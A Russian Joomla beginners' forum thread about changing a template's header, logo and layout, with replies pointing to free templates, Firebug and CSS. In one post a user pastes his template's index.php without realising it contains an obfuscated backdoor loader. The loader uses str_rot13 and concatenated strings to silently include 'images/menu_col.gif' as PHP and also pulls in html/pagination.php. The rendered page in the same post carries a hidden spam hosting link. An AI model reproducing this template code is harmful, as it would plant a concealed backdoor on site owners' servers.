Как изменить дизайн главной страницы?

Тема в разделе "Начало работы с Joomla (для начинающих)", создана пользователем bairog, 10.11.2007.

Страница 1 из 2
  1. Offline

    bairog Недавно здесь

    Регистрация:
    08.11.2007
    Сообщения:
    17
    Симпатии:
    0
    Каким образом можно изменить положение картинки на главной странице. Мне бы хотелось, чтобы она была над вертикальным меню как на этом сайте. Может можно скачать готовый шаблон? Или надо править существующий?
    Ответы попрошу хотя бы с минимальными пояснениями, ибо я совсем новичок
     
    bairog, 10.11.2007
    #1

  2. Наши спонсоры

     
  3. Fanamura
    Offline

    Fanamura Доброта

    Регистрация:
    12.03.2007
    Сообщения:
    5 094
    Симпатии:
    158
    Пол:
    Мужской
    Ответ: Как изменить дизайн главной страницы?

    bairog, раз совсем новичок, значит ищи шаблоны в инете и ставь на джумлу. Забей в поисковике "Free Joomla Templates"...
     
    Fanamura, 11.11.2007
    #2
  4. Offline

    Sunder Модератор

    Регистрация:
    23.04.2007
    Сообщения:
    152
    Симпатии:
    16
    Пол:
    Мужской
    Ответ: Как изменить дизайн главной страницы?

    Или посмотреть небольшой список сайтов с бесплатными шаблонами в этой теме:
    http://joomla-support.ru/thread/17/
     
    Последнее редактирование модератором: 31.03.2014
    Sunder, 11.11.2007
    #3
    lutik нравится это.
  5. Bad Gateway
    Offline

    Bad Gateway Недавно здесь

    Регистрация:
    30.03.2009
    Сообщения:
    4
    Симпатии:
    0
    Пол:
    Мужской
    Касательно шаблона Joomla, можно начать с понимания разницы между heder, logo и "просто" картинкой.
     
    Bad Gateway, 31.03.2009
    #4
  6. niko122
    Offline

    niko122 Пользователь

    Регистрация:
    05.06.2010
    Сообщения:
    83
    Симпатии:
    4
    Пол:
    Мужской
    Ищи подходящие шаблоны, если совсем новичок
     
    niko122, 06.06.2010
    #5
  7. Kos87
    Offline

    Kos87 Недавно здесь

    Регистрация:
    14.07.2010
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    оки, в каком файле можно поковырять html, тот который генериться на главной??
    Хочу поубирать мусор со страницы ....
    пользовал раньше xhtml и css, щас хочу жумлу заюзать. буду рад за помощь ))
     
    Kos87, 15.07.2010
    #6
  8. DKraev
    Offline

    DKraev <i>(aka gft)</i> => Cпециалист <=

    Регистрация:
    16.08.2008
    Сообщения:
    1 627
    Симпатии:
    219
    Пол:
    Мужской
    /templates/ваш_шаблон/index.php + /templates/ваш_шаблон/css/файлы стилей
     
    DKraev, 15.07.2010
    #7
  9. Kos87
    Offline

    Kos87 Недавно здесь

    Регистрация:
    14.07.2010
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    почти не сталкивался с php. но понимаю что тут идет подтягивание сторонних блоков и генерация страницы в целом.
    это код с /templates/ваш_шаблон/index.php

    Код (html):
    1. <?php
    2. // no direct access
    3. defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
    4. ?>
    5. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    6. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
    7. <head>
    8. <jdoc:include type="head" />
    9. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
    10. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
    11. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    12. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
    13. <!--[if lte IE 6]>
    14. <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
    15. <style>
    16. #topnav ul li ul {
    17. left: -999em;
    18. margin-top: 0px;
    19. margin-left: 0px;
    20. }
    21. </style>
    22. <![endif]-->
    23. <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
    24. <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
    25. </head>
    26. <body id="page_bg">
    27. <a name="up" id="up"></a>
    28. <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
    29. <jdoc:include type="modules" name="layout" style="rounded" />
    30. <?php endif; ?>
    31. <?php include('functions.php'); ?>
    32. <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
    33.  
    34. <div id="main_bg" class="banner1">
    35.     <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
    36.     <div id="main_top"><jdoc:include type="modules" name="top" /></div>
    37.     <br clear="all" /></div>
    38.     <?php if($this->countModules('left')) : ?>
    39.     <div id="leftcolumn">
    40.         <jdoc:include type="modules" name="left" style="rounded" />
    41.     </div>
    42.     <?php endif; ?>
    43.     <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
    44.           elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
    45.           else $maincol_sufix = ''; ?>
    46.     <div id="maincolumn<?php echo $maincol_sufix; ?>">
    47.         <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    48.         <div class="nopad"><jdoc:include type="component" /></div>
    49.     </div>
    50.     <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    51.     <div id="rightcolumn">
    52.         <jdoc:include type="modules" name="right" style="xhtml"/>
    53.         <br />
    54.         <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    55.     </div>
    56.     <?php endif; ?>
    57.     <br clear="all" />
    58. </div>    
    59.    
    60. <div id="f_area">
    61.     <?php if($this->countModules('user1')) : ?>
    62.         <jdoc:include type="modules" name="user1" style="xhtml" />
    63.     <?php endif; ?>
    64.     <?php if($this->countModules('user2')) : ?>
    65.         <jdoc:include type="modules" name="user2" style="xhtml" />
    66.     <?php endif; ?>
    67.     <br clear="all" />
    68. </div>
    69.  
    70. <p id="power_by" align="center">
    71.     <?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
    72.     <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
    73. </p>
    74.  
    75. <jdoc:include type="modules" name="debug" />
    76. </body>
    77. </html>


    а это часть кода с сайта в браузере

    Код (html):
    1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    2. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru-ru" lang="ru-ru" >
    3. <head>
    4.   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    5.   <meta name="robots" content="index, follow" />
    6.   <meta name="keywords" content="joomla, CMS Joomla, движок сайта" />
    7.   <meta name="description" content="Joomla! - система управления содержимым - основа динамического портала" />
    8.   <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
    9.   <title>Добро пожаловать на главную страницу</title>
    10.   <link href="/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
    11.   <link href="/index.php?format=feed&amp;type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
    12.   <link href="/templates/martial-arts-template/favicon.ico" rel="shortcut icon" type="image/x-icon" />
    13.   <script type="text/javascript" src="/media/system/js/mootools.js"></script>
    14.   <script type="text/javascript" src="/media/system/js/caption.js"></script>
    15.  
    16. <link rel="stylesheet" href="/templates/system/css/system.css" type="text/css" />
    17. <link rel="stylesheet" href="/templates/system/css/general.css" type="text/css" />
    18. <link rel="stylesheet" href="/templates/martial-arts-template/css/template.css" type="text/css" />
    19. <link rel="stylesheet" href="/templates/martial-arts-template/css/green.css" type="text/css" />
    20. <!--[if lte IE 6]>
    21. <link href="/templates/martial-arts-template/css/ieonly.css" rel="stylesheet" type="text/css" />
    22. <style>
    23. #topnav ul li ul {
    24. left: -999em;
    25. margin-top: 0px;
    26. margin-left: 0px;
    27. }
    28. </style>
    29. <![endif]-->
    30. <script language="javascript" type="text/javascript" src="/templates/martial-arts-template/js/mootools.js"></script>
    31. <script language="javascript" type="text/javascript" src="/templates/martial-arts-template/js/moomenu.js"></script>
    32. </head>
    33. <body id="page_bg">
    34. <a name="up" id="up"></a>
    35.    
    36. <div id="top_menu"><div id="topnav"><ul class="menuhor"><li><a href="http://help-team.com.ua/" class="active first-item" id="menu1" ><span>Главная</span></a><ul><li><a href="http://www.ntchosting.com/" target="_blank" class="first-item" id="menu500" ><span>linux web hosting</span></a></li></ul></li><li><a href="/index.php?option=com_content&amp;view=article&amp;id=19&amp;Itemid=27"  id="menu27" ><span>Обзор Joomla!</span></a><ul><li><a href="/index.php?option=com_content&amp;view=article&amp;id=22&amp;Itemid=34" class="first-item" id="menu34" ><span>Что нового в 1.5?</span></a></li></ul></li><li><a href="/index.php?option=com_content&amp;view=article&amp;id=5&amp;Itemid=2"  id="menu2" ><span>Лицензия Joomla!</span></a></li><li><a href="/index.php?option=com_content&amp;view=section&amp;id=4&amp;Itemid=37"  id="menu37" ><span>Подробно о Joomla!</span></a></li><li><a href="/index.php?option=com_content&amp;view=section&amp;id=3&amp;Itemid=41"  id="menu41" ><span>Ча.Во. (FAQ)</span></a></li><li><a href="/index.php?option=com_content&amp;view=category&amp;layout=blog&amp;id=1&amp;Itemid=50"  id="menu50" ><span>Новости</span></a></li><li><a href="/index.php?option=com_weblinks&amp;view=categories&amp;Itemid=48"  id="menu48" ><span>Ссылки</span></a></li><li><a href="/index.php?option=com_newsfeeds&amp;view=categories&amp;Itemid=49" class="last-item" id="menu49" ><span>Каналы новостей</span></a></li></ul></div></div>
    37.  
    38. <div id="main_bg" class="banner1">
    39.     <div id="h_area"><img src="/templates/martial-arts-template/images/logo3.gif" alt="forex trading logo" align="left" /><a href="/index.php" class="logo" title="Forex Trading Home">Киокушинкай каратэ</a>
    40.     <div id="main_top">


    хочу изменить значение этой строки <a href="/index.php" class="logo" title="Forex Trading Home">Киокушинкай каратэ</a> . спс за помощь заранее ))
     
    Kos87, 15.07.2010
    #8
  10. Offline

    gamesoneve Недавно здесь

    Регистрация:
    24.06.2010
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    Возможно вам лучше найти готовый шаблон со встроенными расширениями. Он ставится как сам движок джумлы. После установки останется только выключить ненужные модули.
     
    gamesoneve, 12.08.2010
    #9
  11. Offline

    Limonad Недавно здесь

    Регистрация:
    16.11.2010
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    Проще найти готовый шаблон и с помощью фаербаг подправить
     
    Limonad, 16.11.2010
    #10
  12. Offline

    fafer Недавно здесь

    Регистрация:
    30.11.2010
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    Проще в index.php перенести.
     
    fafer, 30.11.2010
    #11
  13. Offline

    Stealth83 Недавно здесь

    Регистрация:
    15.07.2010
    Сообщения:
    32
    Симпатии:
    0
    Пол:
    Мужской
    найди новый шаблон...
     
    Stealth83, 14.01.2011
    #12
  14. Offline

    ustus Недавно здесь

    Регистрация:
    25.12.2010
    Сообщения:
    8
    Симпатии:
    0
    Пол:
    Мужской
    А почему все отправляют за готовыми шаблонами? Слабо ответить? Или просто незнание ответа? Меня лично устраивает страница по умолчанию и я лучше удалю лишнее (эту картинку сверху) в ней, чем качать готовые шаблоны. К тому же, это даст бесценный опыт. Был задан конкретный вопрос, если нет ответа - проходите мимо. Меня лично так же интересует данный вопрос насчет картинки всерху - если поправить index.php, то картинка исчезает, однако, место которое она занимала никуда не делось. И верхнее меню тоже самое - отключаешь, а овальные края остаются на месте. Еще раз попрошу отвечать конкретно, без "скачай шаблон", пожалуйста.
     
    ustus, 21.01.2011
    #13
  15. CB9T
    Offline

    CB9T Преподаватель по J! Команда форума ⇒ Профи ⇐

    Регистрация:
    21.05.2010
    Сообщения:
    2 604
    Симпатии:
    322
    Пол:
    Мужской
    С радостью бы помог, но:
    Нету даже адреса и примера где, что , какой код.

    А так советую firebug (для FF) и через него править код ( html + css), а то что:
    Увы, если в каскадной таблице стилей прописано, что шапка высотой скажем 300px, то убрав в шапке картинку ничего не добьетесь. Надо править css (а именно в 90% обзывается header) :wizard:
     
    CB9T, 21.01.2011
    #14
  16. Offline

    ustus Недавно здесь

    Регистрация:
    25.12.2010
    Сообщения:
    8
    Симпатии:
    0
    Пол:
    Мужской
    Спасибо, разобрался : )
     
    ustus, 23.01.2011
    #15
  17. CB9T
    Offline

    CB9T Преподаватель по J! Команда форума ⇒ Профи ⇐

    Регистрация:
    21.05.2010
    Сообщения:
    2 604
    Симпатии:
    322
    Пол:
    Мужской
    Тут обычно - спасибо -> читай подписи популярные :D
     
    CB9T, 23.01.2011
    #16
  18. Offline

    CyberKot Недавно здесь

    Регистрация:
    05.08.2011
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    не знаю с чего начинать! начну с самой сути ...


    сразу говорю что проблема не в шаблоне.


    проблема в скрипте в каком файле находиться вот эта строчка ?


    Код (PHP):
    1. <div class="art-post">
    2.     <div class="art-post-body">
    3. <div class="art-post-inner">
    4.  
    5. <h2 class="art-postheader"> <span class="componentheading">Сайт Татьяны и Константина</span></h2>
    6. </div>



    Сайт Татьяны и Константина
    получается что на главной странице блог - новости и тема новостей залезает на эту строчку что красная... как убрать эту строчку...

    в структуре самого сайта не не шарю... но интерес есть по этому и прошу помощи ;)

    Да. версия джумлы 1.5.7

    с уважением!!!


    всем сенк уже все решил :)
     
    Последнее редактирование: 05.08.2011
    CyberKot, 05.08.2011
    #17
  19. Offline

    egori4 Недавно здесь

    Регистрация:
    12.09.2011
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    Подскажите как поставить в это поле картинку.
    тут картинка (http://narod.ru/disk/24826451001/НОВЫЙ (бут.jpg.html)

    Где в CSS фалах искать код? Я знаю как это сделать просто изменив картинку из папки images. Но теперь у меня так не получается, я использовал модуль слайд-шоу и теперь моя картинка пропала и теперь не могу найти в css "путь к ней".

    Шаблон "phoca_t". Джумла 1.6 . ч.з firebug - это поле называется - phoca-slideshow
     
    egori4, 12.09.2011
    #18
  20. Offline

    SongForYou Недавно здесь

    Регистрация:
    25.10.2011
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    Аналогичный вопрос,только на много сложнее.
    Хотелось бы переделать весь стандартный шаблон,переделать все по своему вкусу!
    С джумла сталкиваюсь в первый раз. Так бы и не столкнулся если бы движок не понадобился.
    Я так понимаю папка templates отвечает за всю трехомундию?
    Конкретно меня интересует позиционирование объектов...B)
     
    SongForYou, 25.10.2011
    #19
  21. Offline

    Innusik111190 Недавно здесь

    Регистрация:
    04.11.2011
    Сообщения:
    9
    Симпатии:
    0
    Пол:
    Женский
    Всем привет. ВЫвожу материал на главную страницу,а текст весь разъезжается некрасиво..Половина материала уходит с экрана..заходит под меню..ПЛохо настроен вид главной сраницы..подскажите где его изменить???Чтобы вместо двух колонок с материалм\, была всего одна???
     
    Innusik111190, 07.11.2011
    #20
Страница 1 из 2
< Как поменять описание сайта | не выводится категория при закреплении за пунктом меню >

Поделиться этой страницей

Загрузка...